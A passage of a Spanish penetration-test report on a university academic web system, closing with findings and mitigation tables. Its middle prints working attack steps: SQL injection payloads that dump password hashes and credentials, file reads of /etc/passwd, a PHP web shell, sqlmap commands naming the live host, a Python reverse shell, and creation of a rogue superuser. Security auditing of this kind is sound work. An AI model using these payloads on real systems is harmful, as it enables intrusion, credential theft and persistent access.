estructura de la consulta, resultando un error o un cambio en el contenido en la 

respuesta, como se observa en la gráfica, al parecer se está interpretando la comilla 

como parte de la consulta, lo que demuestra que es posible realizar la inyección. 

 

Figura 96. Inyección SQL identificada en el parámetro usuario. (Elaborado por el autor) 

 

Determinando el número de columnas 

Para determinar el número de columnas se hace uso de la cláusula order by, cuya 

función es ordenar los campos por columna, a continuación, se tratará de ordenar la 

sentencia hasta que genere un error en la base de datos. 
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' order by 1-- NO ERROR 

 

Figura 97. Error no generado al tratar de ordenar la primera columna. (Elaborado por el autor) 

 

' order by 2-- NO ERROR 

 

Figura 98. Error no generado al tratar de ordenar la segunda columna. (Elaborado por el autor) 

 

Al parecer ha generado un error en la base de datos al tratar de ordenar la tercera 

columna, esto se identifica claramente al observar en la respuesta, esto explica que 

solo existen dos columnas. 
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' order by 3—ERROR 

 

Figura 99. Error generado al tratar de ordenar la tercera columna. (Elaborado por el autor) 

 

Enumerando información de la base de datos 

Descubierto el número de columnas es momento de enumerar información de la 

base de datos, se utilizó curl para este propósito, hay que tener en cuenta que la 

consulta que se envía como parte de la solicitad por el método GET tiene que estar 

en codificación URL, mediante bash se filtró la respuesta de las solicitudes, 

mostrando así solo la información de interés. 

La utilidad hURL se usó para codificar las sentencias, el proceso se muestra en la 

siguiente gráfica. 

 

Figura 100. Codificación URL con hURL. (Elaborado por el autor) 

 

Enumerando el usuario de la aplicación 

La consulta utilizada para obtener el usuario que usa la aplicación para conectarse 

a la base de datos fue:  

' and 1=2 union select 1,user-- 

 

Figura 101. Usuario actual de la aplicación. (Elaborado por el autor) 
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Enumerando la versión de la base de datos 

La sentencia que se utilizó para obtener la versión de la base de datos fue: 

' and 1=2 union select 1,version()-- 

 

Figura 102. Versión de la base de datos. (Elaborado por el autor) 

 

Enumerando la base de datos de la aplicación 

La consulta realizada para obtener la base de datos actual de la aplicación fue: 

' and 1=2 union select 1,current_database()-- 

 

Figura 103. Base de datos actual de la aplicación. (Elaborado por el autor) 

 

Enumerando usuarios con privilegios elevados 

La consulta realizada para identificar los usuarios con privilegios elevados fue: 

' and 1=2 union select 1,usename from pg_user where usesuper is true-- 

 

Figura 104. Usuarios con privilegios elevados. (Elaborado por el autor) 

 

Enumerando hashes de contraseña de los usuarios de la base de datos 

Tras indicar los altos privilegios asignados al usuario de la base de datos, fue posible 

enumerar los hashes de contraseña, la petición realizada fue: 

' and 1=2 union select 1,(usename||' : '||passwd) from pg_shadow-- 

 

Figura 105. Hashes de contraseña de los usuarios de la base de datos. (Elaborado por el autor) 
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2.4.2. Extrayendo información de la base de datos 

Extrayendo tablas de la base de datos 

Obtenida la información necesaria sobre la base de datos, es fundamental tomar en 

cuenta ciertos conceptos sobre las tablas presentes en information_schema, que es 

de donde se extraerá los datos. 

information_schema: este posee un conjunto de vistas que contienen información 

sobre la base de datos actual. 

information_schema.tables: esta tabla contiene los nombres de tablas en la base 

de datos. 

La siguiente consulta se emitió para que devuelva todas las tablas presentes en el 

esquema public. 

' and 1=2 union select 1,table_name from information_schema.tables where 

table_schema='public' order by 2-- 

 

Figura 106. Tablas recuperadas del esquema public. (Elaborado por el autor) 

 

 

Figura 107. Tablas recuperadas del esquema public. (Elaborado por el autor) 
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Extrayendo columnas de la tabla usuarios 

Enumerado todas las tablas disponibles, se descubrió la tabla usuarios, esta resulta 

interesante debido a que contiene las credenciales de los usuarios del sistema, la 

consulta realizada para este propósito fue: 

' and 1=2 union select 1,column_name from information_schema.columns 

where table_schema='public' and table_name='usuarios'-- 

 

Figura 108. Columnas recuperadas de la tabla usuarios. (Elaborado por el autor) 

 

Extrayendo datos de las columnas 

Descubierto las columnas, es momento de recuperar los registros de la tabla 

usuarios, la consulta realizada fue: 

' and 1=2 union select 1,(nom_user||' : '||apell_user||' : '||ci_user||' : '||clave) from 

usuarios order by 2-- 

 

Figura 109. Credenciales de docentes recuperados de la tabla usuarios. (Elaborado por el autor) 
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Leyendo archivos  

Declaración COPY 

Este operador copia datos entre un archivo y una tabla. El motor PostgreSQL accede 

al sistema de archivos local como el usuario postgres. 

Para llevar a cabo este proceso primero hay que crear una tabla, la sentencia que se 

utilizó fue: 

' and 1=2; create table myfile(t text)-- 

 

Figura 110. Creación de la tabla myfile. (Elaborado por el autor) 

 

Posteriormente se procede a copiar el contenido del archivo passwd en la tabla 

myfile, esto es posible debido a que este fichero tiene permisos de lectura para todos 

los usuarios, la siguiente consulta se utilizó para esta finalidad: 

' and 1=2; copy myfile from '/etc/passwd'-- 

 

Figura 111. Copia del contenido del archivo passwd a la tabla myfile. (Elaborado por el autor) 

 

La siguiente consulta se emitió para listar los usuarios del sistema contenido en la 

tabla myfile. 

' and 1=2 union select 1,t from myfile-- 

 

Figura 112. Consulta realizada para recuperar los usuarios de la tabla myfile. (Elaborado por el 

autor) 
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Función pg_read_file 

Esta función se introdujo en PostgreSQL 8.1 y permite leer archivos ubicados dentro 

del directorio de trabajo del gestor de base de datos. 

La siguiente consulta permitió obtener información del archivo de configuración 

del gestor de base de datos. 

' and 1=2 union select 1,pg_read_file('./pg_hba.conf')-- 

 

Figura 113. Lectura del archivo de configuración de PostgreSQL. (Elaborado por el autor) 

 

 

Figura 114. Lectura del archivo de configuración de PostgreSQL. (Elaborado por el autor) 

 

Escribiendo archivos 

Al revertir la declaración COPY, se puede escribir el contenido de una tabla en el 

sistema de archivos local con los derechos del usuario PostgreSQL. 
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Se creó la tabla mytable, la sentencia utilizada fue:  

' and 1=2; create table mytable(t text)-- 

 

Figura 115. Creación de la tabla mytable. (Elaborado por el autor) 

 

El próximo punto es ingresar en la tabla código php que permita ejecutar comandos 

en el sistema, la función passthru acepta el comando como un parámetro y genera 

el resultado, la consulta que se utilizó fue: 

' and 1=2; insert into mytable(t)  

values ('<?php passthru($_GET["cmd"]); ?>')-- 

 

Figura 116. Ingreso de código php en la tabla mytable. (Elaborado por el autor) 

 

A continuación, hay que copiar el contenido de la tabla en un directorio web con 

permisos de escritura, en este caso se copió al Document Root del usuario apache, 

la siguiente consulta se emitió para este propósito: 

' and 1=2; copy mytable (t) to '/var/www/html/shell.php'-- 

 

Figura 117. Copia del contenido de la tabla myfile al Document Root de apache. (Elaborado por el 

autor) 

 

Se comprobó la posibilidad de escribir contenido en un archivo en el directorio web, 

este hecho fue posible debido a los permisos de escritura en el directorio y por los 

permisos elevados asignado al usuario que utiliza la aplicación para conectarse a la 

base de datos, el comando id enviado como parámetro muestra el usuario con el que 

se está ejecutando comandos del sistema. 

 

Figura 118. Usuario con el que se está ejecutando comandos del sistema. (Elaborado por el autor) 
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El comando pwd enumera el directorio de trabajo actual 

 

Figura 119. Directorio de trabajo actual. (Elaborado por el autor) 

 

2.4.3. Inyecciones de SQL automatizadas con sqlmap 

Sqlmap es una de las mejores herramientas para explotar vulnerabilidades de 

inyección SQL. Es compatible con muchas bases de datos y ayuda no solo a 

enumerar y extraer información, sino también a ejecutar comandos del sistema. 

Enumerando las bases de datos 

El primer paso sería, obviamente, enumerar todas las bases de datos presentes en la 

aplicación. Se utilizó la siguiente instrucción para este propósito: 

sqlmap -u 

'https://www.sianet.ueb.edu.ec:443/sme/cargaselect.php?id=1&fecha=15/03/2

013&usuario=2222222222' -p usuario --

cookie='PHPSESSID=a64q6ep4blvluhmb7pr3so0gd7' --

dbms=POSTGRESQL --dbs 

 

Figura 120. Comando utilizado para recuperar las bases de datos con sqlmap. (Elaborado por el 

autor) 

 

A continuación, se observa que la herramienta a identificado el sistema gestor de 

base de datos y el parámetro usuario identificado como vulnerable. 

 

Figura 121. Parámetro usuario vulnerable identificado con sqlmap. (Elaborado por el autor) 
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Ha recuperado tres bases de datos disponibles, especifica que utilizó la técnica de 

inyección SQL a ciegas basado en tiempo, además proporciona información del 

servidor y sus componentes. 

 

Figura 122. Bases de datos identificadas con sqlmap. 

 

Enumerando tablas 

Se eligió el esquema public, debido a que en esta se suele almacenar por defecto la 

información, la instrucción utilizada para recuperar las tablas fue: 

sqlmap -u 

'https://www.sianet.ueb.edu.ec:443/sme/cargaselect.php?id=1&fecha=15/03/2

013&usuario=2222222222' -p usuario --

cookie='PHPSESSID=a64q6ep4blvluhmb7pr3so0gd7' --

dbms=POSTGRESQL -D public –tables 

 

Figura 123. Comando utilizado para recuperar las tablas con sqlmap. (Elaborado por el autor) 
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La siguiente gráfica revela 175 tablas existentes. 

 

Figura 124. Tablas recuperadas con sqlmap. (Elaborado por el autor) 

 

Enumerando las columnas de la tabla usuarios 

Por razones obvias, la que provoca más interés es el contenido de la tabla usuarios, 

se emitió la siguiente instrucción para extraer las columnas presentes. 

sqlmap -u 

'https://www.sianet.ueb.edu.ec:443/sme/cargaselect.php?id=1&fecha=15/03/2

013&usuario=2222222222' -p usuario --

cookie='PHPSESSID=a64q6ep4blvluhmb7pr3so0gd7' --

dbms=POSTGRESQL -D public -T usuarios -columns 

 

Figura 125. Comando utilizado para recuperar las columnas con sqlmap. (Elaborado por el autor) 
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Se ha encontrado cuatro columnas en la tabla usuarios. 

 

Figura 126. Columnas de la tabla usuarios descubiertas con sqlmap. (Elaborado por el autor) 

 

Extrayendo datos de la tabla usuarios 

Ahora se le pedirá a sqlmap que muestre la información presente en las columnas. 

Para este propósito, se usó la siguiente instrucción: 

sqlmap -u 

'https://www.sianet.ueb.edu.ec:443/sme/cargaselect.php?id=1&fecha=15/03/2

013&usuario=2222222222' -p usuario --

cookie='PHPSESSID=a64q6ep4blvluhmb7pr3so0gd7' --

dbms=POSTGRESQL -D public -T usuarios -C 

apell_user,nom_user,ci_user,clave –dump 

 

Figura 127. Instrucción utilizada para recuperar el registro de la tabla usuarios. (Elaborado por el 

autor) 

 

Extraído la información de los usuarios, la herramienta sugiere si se quiere usar 

algún diccionario para tratar de romper los hashes de contraseña, en este caso se ha 

seleccionado el archivo predeterminado en la herramienta. 
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Figura 128. Lista de diccionarios a elegir con sqlmap. (Elaborado por el autor) 

 

La información recuperada de la tabla usuarios proporciona las credenciales de 

acceso a la aplicación, revelando la existencia de contraseñas débiles. 

 

Figura 129. Registros obtenidos de la tabla usuarios con sqlmap. (Elaborado por el autor) 

 

2.4.4. Cracking de contraseñas 

Obtenido los hashes de contraseña de los usuarios, se ha identificado el tipo de 

encriptación MD5, para romper las contraseñas se puede realizar mediante motores 

de búsqueda o con John the Ripper.  

En algunos casos Google puede ser de mucha ayuda para estos propósitos, en la 

siguiente imagen se observa la posible contraseña para el hash definido en el cuadro 

de búsqueda. 
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Figura 130. Contraseña encontrada para el hash descrito. (Elaborado por el autor) 

 

John the Ripper 

Es una herramienta de software gratuita para descifrar contraseñas. 

Para utilizar esta herramienta hay que definir el archivo de hashes, el formato de 

encriptación y un diccionario de contraseñas, en la siguiente imagen se observa la 

contraseña obtenida para un hash determinado, la instrucción utilizada fue: 

john password --format=raw-md5 --wordlist=rockyou.txt 

 

Figura 131. Contraseña encontrada con John the Ripper. (Elaborado por el autor) 

 

Mediante estos mecanismos fue posible obtener un gran número de contraseñas en 

texto plano, este es un problema de seguridad grave debido a que el mecanismo de 

cambio de contraseña no controla la longitud ni las variaciones de caracteres en las 

claves asignadas por los usuarios. 

2.5. Post-Explotación 

Esta fase consiste en recopilar información confidencial, documentarla y tener una 

idea de los ajustes de configuración, las interfaces de red y otros canales de 

comunicación. Se pueden usar para mantener el acceso persistente al sistema según 

las necesidades del atacante. 

El proceso de post explotación se realizó entre el 13 y 14 de diciembre del 2018. 

 

Reverse shell 

Un shell inverso permite que la máquina de destino se comunique con la máquina 
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atacante, la máquina atacante tiene un puerto de escucha en el que recibe la conexión 

por parte del objetivo. 

Hay que tener en cuenta que, para poder comunicarse desde un servicio público a 

la red local, tendremos que hacer NAT al puerto fijado por nosotros, de esta forma 

conseguimos que una persona logre conectarse introduciendo nuestra IP pública, 

seguido del puerto, para esto caso se configuró un router Tp-Link, en la sección 

Virtual Servers se asigna la dirección IP y los puertos, como se muestra en la 

siguiente gráfica: 

 

Figura 132. Configuración de virtual servers en el router. (Elaborado por el autor) 

 

En la máquina atacante se configura netcat en el puerto 4444, en espera por 

conexiones entrantes, como se muestra en la siguiente captura. 

 

Figura 133. Netcat en espera por conexiones entrantes. (Elaborado por el autor) 

 

En la barra de direcciones utilizando la web shell creada anteriormente, con la 

consola interactiva de Python se ejecuta el código que establecerá una conexión a 

nivel de sockets con la máquina atacante, la instrucción utilizada fue: 

python -c 'import 

socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREA

M);s.connect(("PUBLIC-IP",PORT));os.dup2(s.fileno(),0); 

os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/usr/bin/sh","-

i"]);' 
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Figura 134. Estableciendo conexión desde el servidor a la máquina atacante. (Elaborado por el 

autor) 

 

Establecida la conexión, ahora es posible ejecutar comandos del sistema 

cómodamente, las instrucciones emitidas muestran el usuario actual e información 

concerniente al sistema operativo, como se muestra en la imagen. 

 

Figura 135. Conexión realizada con éxito. (Elaborado por el autor) 

 

2.5.1. Enumerando credenciales de acceso a otros servicios 

Credenciales de conexión a la base de datos 

Estos datos se identificaron en la siguiente ruta: 

/var/www/html/usuarios/funciones.php 

 

Figura 136. Credenciales de conexión a la base de datos. (Elaborado por el autor) 

 

Acceso remoto a la base de datos 

La utilidad psql permite a un usuario autenticarse con una base de datos postgres, si 

ya se conocen el nombre de usuario y la contraseña, el comando emitido para 

conectarse remotamente fue: 
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psql -h 190.15.128.203 -U ***** -d sianet 

 

Figura 137. Conexión remota a la base de datos sianet. (Elaborado por el autor) 

 

Enumerando bases de datos existentes 

El comando utilizado para este propósito fue: 

\l 

 

Figura 138. Listado de base de datos. (Elaborado por el autor) 

 

Enumerando usuarios de la base de datos 

El siguiente comando que se empleó para enumerar usuarios y los roles asignados: 

\du 

 

Figura 139. Listado de usuarios y roles asignados. (Elaborado por el autor) 

 

Enumerando tablas de base de datos académico 

Las tablas se listaron mediante el siguiente comando: 
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\d 

 

Figura 140. Enumeración de tablas de la base de datos. (Elaborado por el autor) 

 

Backup realizado a la tabla usuarios 

Se emitió la siguiente instrucción para este propósito: 

pg_dump -h 190.15.128.203 --username=***** --password --dbname=sianet --

table='usuarios' -f output_pgump 

 

Figura 141. Backup realizado a la tabla usuarios. (Elaborado por el autor) 
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Figura 142. Datos obtenidos de la tabla usuarios. (Elaborado por el autor) 

 

Creando un nuevo usuario en la base de datos 

Para crear el usuario system con privilegios de super usuario, se emitió la siguiente 

instrucción: 

CREATE USER system WITH PASSWORD ‘system.#’ SUPERUSER 

CREATEDB; 

 

Figura 143. Usuario system creado con permisos de super usuario. (Elaborado por el autor) 

 

Conexión remota al servicio postgres con el usuario system 

Para establecer la conexión a la base de datos se emitió el siguiente comando: 

psql -h sianet.ueb.edu.ec -U system  -d sianet 

 

Figura 144. Conexión remota al servicio postgres con el usuario system. (Elaborado por el autor) 
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Credenciales del panel "Administrador de los sistemas" 

Estas credenciales se localizaron en la ruta: 

/var/www/html/usuarios/inicio.php 

 

Figura 145. Credenciales de acceso a administrador de los sistemas. (Elaborado por el autor) 

 

Verificando acceso al panel administrativo con las credenciales identificadas 

 

Figura 146. Interfaz de inicio de sesión de administrador de los sistemas. (Elaborado por el autor) 

 

 

Figura 147. Acceso exitoso al panel administrador de los sistemas. (Elaborado por el autor) 
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2.6. Conclusiones  

Durante la prueba realizada se descubrieron los siguientes hallazgos: 

 Información sensible expuesta en directorios web, como copias de 

seguridad, manuales de usuario y currículos de docentes. 

 Inyección SQL en casi todos los parámetros de entrada incluyendo los 

formularios de autenticación, esta es una de las vulnerabilidades más 

peligrosas ya que permitió la ejecución de comandos del sistema. 

 Se encontraron vulnerabilidades como Cross Site Scripting, Cross Site 

Request Forgery y fijación de sesión que generalmente requieren de la 

interacción de los usuarios para llevar a cabo su explotación. 

 Es posible realizar ataques de fuerza bruta en todos los formularios de inicio 

de sesión. 

 Se identificó las versiones de los servicios Apache y OpenSSH 

desactualizados. 

 Se localizó cierta inconsistencia a nivel de sesiones en la que fue posible 

realizar solicitud de página directa y referencias a objetos directos. 

 

2.7. Recomendaciones 

Debido a los resultados obtenidos de la evaluación realizada es importante tomar en 

cuenta las siguientes recomendaciones: 

 No dejar archivos con información sensible en directorios web porque estos 

suelen ser indexados por los motores de búsqueda, tampoco se debe exponer 

información legítima en los manuales usuario. 

 Para mitigar la inyección SQL se deben validar las entradas del usuario y 

utilizar consultas parametrizadas, los parámetros ocultos que se envían 

como parte de la consulta no deben estar embebidos en el lenguaje HTML, 

siempre se deben establecer controles en el Back-End, el usuario que utiliza 

la aplicación para conectarse a la base de datos debe tener los mínimos 

privilegios posibles, limitar los permisos en los directorios web para todos 

los usuarios. 

 Se debe capacitar a los usuarios del Sistema Académico Integrado en Red 

para evitar ataques de ingeniería social, además de incorporar un WAF que 

permita detectar y bloquear ataques de toda índole, monitorear 
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constantemente los registros en busca de alguna actividad sospechosa. 

 Incorporar un mecanismo de cambio de contraseña eficiente, donde se 

incluya una combinación de letras mayúsculas y minúsculas, números, 

símbolos y espacios si están permitidos, establecer políticas de seguridad 

que permita sustentar la seguridad de la información, se recomienda utilizar 

un “salt” para el cifrado de contraseñas o el algoritmo de encriptación 

Blowfish debido a que los algoritmos hash como MD5, SHA1 o SHA256 

están diseñados para ser rápidos y eficientes, resulta trivial obtener por 

fuerza bruta la salida de estos algoritmos.  

 Cerrar los puertos innecesarios, especialmente de protocolos inseguros 

como FTP, TELNET, SMTP, los servicios que permiten conexión remota 

solo deben estar abiertos cuando sea necesario, además de ser posible 

ofuscar los banners de los servicios, actualizar frecuentemente el sistema 

operativo y las tecnologías subyacentes, en este caso Apache y OpenSSH. 

 Las sesiones deben caducar bajo un cierto tiempo de inactividad por parte 

del usuario, debiendo ser destruidas una vez cerrada la sesión, la aplicación 

debe generar un identificador de sesión diferente luego de una autenticación 

exitosa, establecer la directiva HttpOnly para evitar que las cookies sean 

accedidas mediante código JavaScript. 
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ANEXOS   
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 

Detalle de vulnerabilidades y mitigación 

A continuación, se puntualiza una breve descripción y las pautas para mitigar cada 

una de las vulnerabilidades encontradas en el Si@Net según el riesgo estimado. 

 

Tabla 4  

Inyección SQL. 

(Elaborado por el autor) 

 

Tabla 5  

Fuerza bruta en formularios HTML. 

Alto (Confirmado) Fuerza bruta en formularios HTML 

Descripción Los ataques de fuerza bruta consisten en probar 

diferentes combinaciones de nombres de usuario 

y contraseñas, hasta encontrar una que funciona.  

 

Solución Implemente un captcha para evitar ataques 

automatizados de fuerza bruta. 

Bloquear las cuentas después de un número 

definido de intentos fallidos de inicio de sesión. 

Alinear una política de longitud y complejidad de 

contraseñas. 

(Elaborado por el autor) 

Alto (Confirmado) Inyección SQL 

Descripción La inyección SQL se refiere a un ataque en el que 

un atacante puede ejecutar sentencias SQL 

arbitrarias, engañando a una aplicación web para 

que procese la entrada inyectada como parte de la 

consulta. 

 

Solución Para prevenir este tipo de ataque se sugiere validar 

las entradas y utilizar consultas preparadas. 

Asignar los mínimos privilegios al usuario de la 

aplicación que conecta con la base de datos. 

Usar procedimientos almacenados. 



 

Tabla 6  

Referencias a objetos directos. 

Alto (Confirmado) Referencias a objetos directos 

Descripción Una referencia de objeto directo ocurre cuando un 

desarrollador expone una referencia a un objeto de 

implementación interna, como un archivo, 

directorio, registro de base de datos o clave, como 

una URL o parámetro de formulario. Un atacante 

puede manipular las referencias directas de 

objetos para acceder a otros objetos sin 

autorización, a menos que haya una verificación 

de control de acceso. 

 

Solución Para evitar estas vulnerabilidades, es importante 

que las políticas de control de acceso estén 

implementadas. Los desarrolladores deben 

asegurarse de que los usuarios tengan la 

autorización adecuada para obtener acceso a los 

recursos restringidos que solicitan. 

(Elaborado por el autor) 

 

Tabla 7  

Solicitud de página directa. 

Alto (Confirmado) Solicitud de página directa 

Descripción Si una aplicación web implementa el control de 

acceso sólo en el registro en la página, el esquema 

de autenticación se podría eludir, si un usuario 

solicita directamente una página diferente a través 

de la navegación forzada, esa página puede no 

comprobar las credenciales del usuario antes de 

conceder el acceso. 

 

Solución Verifique la autenticación antes de cada operación 

segura, los desarrolladores deben verificar la 



 

autenticación del usuario cada vez que solicite una 

operación en el sitio web. Un atacante 

simplemente saltará la página de inicio de sesión 

adivinando el nombre de las páginas y escribiendo 

la URL en el navegador. 

Asegure la autenticación y autorización basadas 

en roles, si solo se crea una página para el 

administrador, verifique si el usuario es el que 

pretende ser antes de otorgar acceso a la página. 

(Elaborado por el autor)  

 

Tabla 8  

Cross Site Scripting (reflejada). 

Medio (Confirmado) Cross Site Scripting (reflejada) 

Descripción XSS se produce cuando la entrada del usuario no 

se filtra o desinfecta correctamente antes de que se 

refleje nuevamente al usuario. Esto permite al 

atacante inyectar código malicioso, que luego se 

ejecuta en el contexto del navegador de la víctima. 

 

Solución Convertir las entradas que no son de confianza en 

entidades HTML utilizando la función 

htmlspecialchars() u otras rutinas establecidas en 

PHP. 

(Elaborado por el autor) 

 

Tabla 9  

Fijación de sesión. 

Medio (Confirmado) Fijación se sesión 

Descripción Cuando una aplicación no renueva sus cookies de 

sesión después de una autenticación exitosa, 

podría ser posible encontrar una vulnerabilidad de 

fijación de sesión y forzar a un usuario a utilizar 

una cookie conocida por el atacante. En ese caso, 



 

un atacante podría robar la sesión del usuario 

(secuestro de sesión). 

 

Solución Para evitar la fijación de la sesión, asegúrese de 

que los desarrolladores de la aplicación web 

codifiquen sus aplicaciones para que asignen una 

cookie de sesión diferente inmediatamente 

después de que el usuario se autentique en la 

aplicación, y también verifique que no incluyan el 

valor de la cookie en la URL.  

(Elaborado por el autor) 

 

Tabla 10  

Certificado SSL. 

Medio (Confirmado) Certificado SSL 

Descripción El certificado del servidor no es de confianza. 

 

Solución SSL (o TLS) ayuda a proteger la confidencialidad 

e integridad de la información en tránsito entre el 

navegador y el servidor, y proporciona 

autenticación de la identidad del servidor. Para 

cumplir con este propósito, el servidor debe 

presentar un certificado SSL que sea válido para 

el nombre de host del servidor, que sea emitido 

por una autoridad confiable. Si no se cumple 

alguno de estos requisitos, las conexiones SSL con 

el servidor no proporcionarán la protección 

completa para la que está diseñado SSL. 

(Elaborado por el autor) 

 

 

 

 



 

Tabla 11  

Política de contraseñas débiles. 

Medio (Confirmado) Política de contraseñas débiles 

Descripción Sin una administración basada en políticas que 

requiera que los usuarios creen una frase de 

contraseña a partir de letras, números y caracteres 

especiales, esto facilita el acceso a los atacantes 

que tienen credenciales forzadas o robadas. 

 

Solución Para mitigar el riesgo de contraseñas fácilmente 

adivinables que ayudan al acceso no autorizado, 

hay dos soluciones: introducir controles de 

autenticación de dos factores o establecer una 

política de contraseñas fuertes. El más simple es 

la implementación de una política de contraseña 

fuerte que asegura la longitud, la complejidad, la 

reutilización y la caducidad de la contraseña. 

(Elaborado por el autor) 

 

Tabla 12  

Cross Site Request Forgery. 

Medio (Confirmado) Cross Site Request Forgery 

Descripción Es un ataque que obliga a un usuario final a 

ejecutar acciones no deseadas en una aplicación 

web en la que esta autenticado actualmente. 

 

Solución El método más común para evitar ataques de 

falsificación de solicitudes entre sitios (CSRF) es 

agregar tokens CSRF a cada solicitud y asociarlos 

a la sesión del usuario. Dichos tokens deben ser, 

como mínimo, únicos por sesión de usuario, pero 

también pueden ser únicos por solicitud. Al incluir 

un token de desafío con cada solicitud, el 

desarrollador puede asegurarse de que la solicitud 



 

sea válida y no provenga de una fuente que no sea 

el usuario. 

Además, este token debe caducar después de un 

tiempo o cuando el usuario cierre la sesión. El 

token también debe ser criptográficamente 

seguro, ya que podría ser fácil de adivinar si se 

generara siguiendo un patrón predecible. 

(Elaborado por el autor) 

 

Tabla 13  

Registro y monitoreo insuficientes. 

Medio (Confirmado) Registro y monitoreo insuficientes 

Descripción El registro y monitoreo insuficientes es la base de 

casi todos los grandes y mayores incidentes de 

seguridad. Los atacantes dependen de la falta de 

monitoreo y respuesta oportuna para lograr sus 

objetivos sin ser detectados. 

 

Solución Corroborar que todos los errores de inicio de 

sesión, validación de entradas de datos y de 

control de acceso, se pueden registrar para 

identificar actividades sospechosas para que sean 

detectadas y respondidas dentro de un período de 

tiempo aceptable. 

(Elaborado por el autor) 

 

Tabla 14  

Método Trace. 

Bajo (Confirmado) Método Trace 

Descripción El método TRACE está diseñado para fines de 

diagnóstico. Si está habilitado, se puede utilizar 

para un ataque conocido como Cross Site Tracing. 

 

Solución El método TRACE debe estar deshabilitado en los 



 

servidores web de producción. En el archivo de 

configuración establecer el valor de la siguiente 

manera: TraceEnable off 

(Elaborado por el autor) 

 

Tabla 15  

Cookie no HttpOnly Flag. 

Bajo (Confirmado) Cookie no HttpOnly Flag 

Descripción Se ha establecido una cookie sin el indicador 

HttpOnly, lo que significa que JavaScript puede 

acceder a las cookies. Si se puede ejecutar un 

script malicioso en esta página, se podrá acceder 

al token de sesión y enviarlo a un servidor 

controlado por el atacante. 

 

Solución Asegúrese de que la bandera HttpOnly esté 

establecida para todas las cookies.  

Para las cookies de sesión administradas por PHP, 

la marca se establece en el archivo de 

configuración con la directiva: 

session.cookie_httponly = True 

(Elaborado por el autor) 

 

Tabla 16  

Exploración de directorios. 

Medio (Confirmado) Exploración de directorios 

Descripción La lista de directorios puede revelar contenido 

oculto que incluyen archivos de configuración, 

copias de seguridad, etc. 

 

Solución Desactivar la exploración de directorios. Si esto es 

necesario, asegúrese que los archivos de la lista no 

inducen riesgos. 

(Elaborado por el autor) 



 

Tabla 17  

Divulgación de información. 

Bajo (Confirmado) Divulgación de información 

Descripción Exponer información personal de los usuarios, 

código que se interpreta en el Back-End, son 

detalles que pueden ayudar a un atacante a 

conocer más sobre la aplicación. 

  

Solución Nunca se debe exponer información personal 

públicamente como números de cédula en 

currículos, manuales de usuario u otros medios 

porque estos datos forman parte de acceso a la 

aplicación. 

(Elaborado por el autor) 

 

Tabla 18  

Denegación de Servicio en Apache 2.4.6. 

Bajo (Confirmado) Denegación de Servicio en Apache 2.4.6 

Descripción La versión del servidor HTTP Apache 2.4.6, no 

están parcheadas para la siguiente vulnerabilidad: 

un bloqueo en el manejo del encabezado de la 

conexión, que puede llevar a la denegación de 

servicio. 

 

Solución Actualizar a la versión de apache 2.4.39. 

(Elaborado por el autor) 

 

 

 

 

 

 

 

 

 



 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 

 

 

 


